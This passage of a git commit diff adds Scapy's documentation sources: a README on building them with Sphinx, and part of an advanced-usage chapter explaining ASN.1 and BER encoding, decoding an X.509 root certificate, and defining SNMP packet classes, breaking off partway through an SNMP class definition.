This commit is contained in:
Dirk Loss 2009-07-20 10:55:39 +02:00
commit d489ce1656
32 changed files with 2943 additions and 349 deletions

19
doc/scapy/README Normal file
View File

@ -0,0 +1,19 @@
This folder includes source files (text and graphics) for Scapy's documentation,
which is automatically built using Sphinx <http://sphinx.pocoo.org/>
The *.rst files are written as reStructuredText and should be quite readable
in your favourite text editor without any further formatting.
To generate much nicer, searchable HTML docs, install Sphinx, open a command
line, change to the directory where this README is placed, and type the
following command:
$ make html
To generate a single PDF file (useful for printing) you need a working
LaTeX installation (e.g. <http://www.tug.org/texlive/>).
The following commands produce the file Scapy.pdf (>100 pages):
$ make latex
$ cd _build/latex
$ make all-pdf

View File

@ -0,0 +1,792 @@
**************
Advanced usage
**************
ASN.1 and SNMP
==============
What is ASN.1?
--------------
.. note::
This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet.
ASN.1 is a notation whose goal is to specify formats for data exchange. It is independant of the way data is encoded. Data encoding is specified in Encoding Rules.
The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes and signatures.
ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes.
Each of theses objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version.
Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc.
Scapy and ASN.1
---------------
Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite more lax than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those.
ASN.1 engine
^^^^^^^^^^^^
Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behaviour.
``
Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects.
::
class ASN1_Class_UNIVERSAL(ASN1_Class):
name = "UNIVERSAL"
# [...]
BOOLEAN = 1
INTEGER = 2
BIT_STRING = 3
# [...]
class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
name="SNMP"
PDU_GET = 0xa0
PDU_NEXT = 0xa1
PDU_RESPONSE = 0xa2
class ASN1_Class_X509(ASN1_Class_UNIVERSAL):
name="X509"
CONT0 = 0xa0
CONT1 = 0xa1
# [...]
All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple::
class ASN1_INTEGER(ASN1_Object):
tag = ASN1_Class_UNIVERSAL.INTEGER
class ASN1_STRING(ASN1_Object):
tag = ASN1_Class_UNIVERSAL.STRING
class ASN1_BIT_STRING(ASN1_STRING):
tag = ASN1_Class_UNIVERSAL.BIT_STRING
These instances can be assembled to create an ASN.1 tree::
>>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])])
>>> x
<ASN1_SEQUENCE[[<ASN1_INTEGER[7]>, <ASN1_STRING['egg']>, <ASN1_SEQUENCE[[<ASN1_BOOLEAN[False]>]]>]]>
>>> x.show()
# ASN1_SEQUENCE:
<ASN1_INTEGER[7]>
<ASN1_STRING['egg']>
# ASN1_SEQUENCE:
<ASN1_BOOLEAN[False]>
Encoding engines
^^^^^^^^^^^^^^^^^
As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec.
Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type::
>>> BERcodec_INTEGER.enc(7)
'\x02\x01\x07'
>>> BERcodec_BIT_STRING.enc("egg")
'\x03\x03egg'
>>> BERcodec_STRING.enc("egg")
'\x04\x03egg'
>>> BERcodec_STRING.dec('\x04\x03egg')
(<ASN1_STRING['egg']>, '')
>>> BERcodec_STRING.dec('\x03\x03egg')
Traceback (most recent call last):
File "<console>", line 1, in ?
File "/usr/bin/scapy", line 2099, in dec
return cls.do_dec(s, context, safe)
File "/usr/bin/scapy", line 2178, in do_dec
l,s,t = cls.check_type_check_len(s)
File "/usr/bin/scapy", line 2076, in check_type_check_len
l,s3 = cls.check_type_get_len(s)
File "/usr/bin/scapy", line 2069, in check_type_get_len
s2 = cls.check_type(s)
File "/usr/bin/scapy", line 2065, in check_type
(cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s)
BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting <ASN1Tag STRING[4]>
### Already decoded ###
None
### Remaining ###
'\x03\x03egg'
>>> BERcodec_Object.dec('\x03\x03egg')
(<ASN1_BIT_STRING['egg']>, '')
ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``str()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used.
::
>>> x.enc(ASN1_Codecs.BER)
'0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
>>> str(x)
'0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
>>> xx,remain = BERcodec_Object.dec(_)
>>> xx.show()
# ASN1_SEQUENCE:
<ASN1_INTEGER[7L]>
<ASN1_STRING['egg']>
# ASN1_SEQUENCE:
<ASN1_BOOLEAN[0L]>
>>> remain
''
By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context!
::
>>> cert="""
... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC
... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB
... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg
... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw
... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB
... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg
... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh
... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs
... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs
... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg
... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ
... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0
... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X
... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml
... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh
... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo
... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ
... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex
... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB
... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA
... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG
... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0
... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF
... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY
... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/
... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la
... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks
... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5
... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD
... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41
... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H
... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL
... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg=
... """.decode("base64")
>>> (dcert,remain) = BERcodec_Object.dec(cert)
Traceback (most recent call last):
File "<console>", line 1, in ?
File "/usr/bin/scapy", line 2099, in dec
return cls.do_dec(s, context, safe)
File "/usr/bin/scapy", line 2094, in do_dec
return codec.dec(s,context,safe)
File "/usr/bin/scapy", line 2099, in dec
return cls.do_dec(s, context, safe)
File "/usr/bin/scapy", line 2218, in do_dec
o,s = BERcodec_Object.dec(s, context, safe)
File "/usr/bin/scapy", line 2099, in dec
return cls.do_dec(s, context, safe)
File "/usr/bin/scapy", line 2094, in do_dec
return codec.dec(s,context,safe)
File "/usr/bin/scapy", line 2099, in dec
return cls.do_dec(s, context, safe)
File "/usr/bin/scapy", line 2218, in do_dec
o,s = BERcodec_Object.dec(s, context, safe)
File "/usr/bin/scapy", line 2099, in dec
return cls.do_dec(s, context, safe)
File "/usr/bin/scapy", line 2092, in do_dec
raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s)
BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...']
### Already decoded ###
[[]]
### Remaining ###
'\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01\xa3c0a0\x0f\x06\x03U\x1d\x13\x01\x01\xff\x04\x050\x03\x01\x01\xff0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x00\x03\x82\x02\x01\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h'
The ``Context`` class must be specified::
>>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509)
>>> dcert.show()
# ASN1_SEQUENCE:
# ASN1_SEQUENCE:
# ASN1_X509_CONT0:
<ASN1_INTEGER[2L]>
<ASN1_INTEGER[1L]>
# ASN1_SEQUENCE:
<ASN1_OID['.1.2.840.113549.1.1.5']>
<ASN1_NULL[0L]>
# ASN1_SEQUENCE:
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.6']>
<ASN1_PRINTABLE_STRING['US']>
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.10']>
<ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.11']>
<ASN1_PRINTABLE_STRING['America Online Inc.']>
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.3']>
<ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
# ASN1_SEQUENCE:
<ASN1_UTC_TIME['020529060000Z']>
<ASN1_UTC_TIME['370928234300Z']>
# ASN1_SEQUENCE:
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.6']>
<ASN1_PRINTABLE_STRING['US']>
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.10']>
<ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.11']>
<ASN1_PRINTABLE_STRING['America Online Inc.']>
# ASN1_SET:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.4.3']>
<ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
# ASN1_SEQUENCE:
# ASN1_SEQUENCE:
<ASN1_OID['.1.2.840.113549.1.1.1']>
<ASN1_NULL[0L]>
<ASN1_BIT_STRING['\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01']>
# ASN1_X509_CONT3:
# ASN1_SEQUENCE:
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.29.19']>
<ASN1_BOOLEAN[-1L]>
<ASN1_STRING['0\x03\x01\x01\xff']>
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.29.14']>
<ASN1_STRING['\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.29.35']>
<ASN1_STRING['0\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
# ASN1_SEQUENCE:
<ASN1_OID['.2.5.29.15']>
<ASN1_BOOLEAN[-1L]>
<ASN1_STRING['\x03\x02\x01\x86']>
# ASN1_SEQUENCE:
<ASN1_OID['.1.2.840.113549.1.1.5']>
<ASN1_NULL[0L]>
<ASN1_BIT_STRING['\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h']>
ASN.1 layers
^^^^^^^^^^^^
While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet.
ASN.1 fields
~~~~~~~~~~~~
Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it).
Each ASN.1 field is linked to an ASN.1 object through its tag.
ASN.1 packets
~~~~~~~~~~~~~
ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields.
A complete example: SNMP
------------------------
SNMP defines new ASN.1 objects. We need to define them::
class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
name="SNMP"
PDU_GET = 0xa0
PDU_NEXT = 0xa1
PDU_RESPONSE = 0xa2
PDU_SET = 0xa3
PDU_TRAPv1 = 0xa4
PDU_BULK = 0xa5
PDU_INFORM = 0xa6
PDU_TRAPv2 = 0xa7
These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic::
class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):
tag = ASN1_Class_SNMP.PDU_GET
class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):
tag = ASN1_Class_SNMP.PDU_NEXT
# [...]
class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):
tag = ASN1_Class_SNMP.PDU_GET
class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):
tag = ASN1_Class_SNMP.PDU_NEXT
# [...]
Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other.
The ASN.1 fields are also trivial::
class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):
ASN1_tag = ASN1_Class_SNMP.PDU_GET
class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):
ASN1_tag = ASN1_Class_SNMP.PDU_NEXT
# [...]
Now, the hard part, the ASN.1 packet::
SNMP_error = { 0: "no_error",
1: "too_big",
# [...]
}
SNMP_trap_types = { 0: "cold_start",
1: "warm_start",
# [...]
}
class SNMPvarbind(ASN1_Packet):
ASN1_codec = ASN1_Codecs.BER
ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"),
ASN1F_field("value",ASN1_NULL(0))
)
class SNMPget(ASN1_Packet):
ASN1_codec = ASN1_Codecs.BER
ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0),
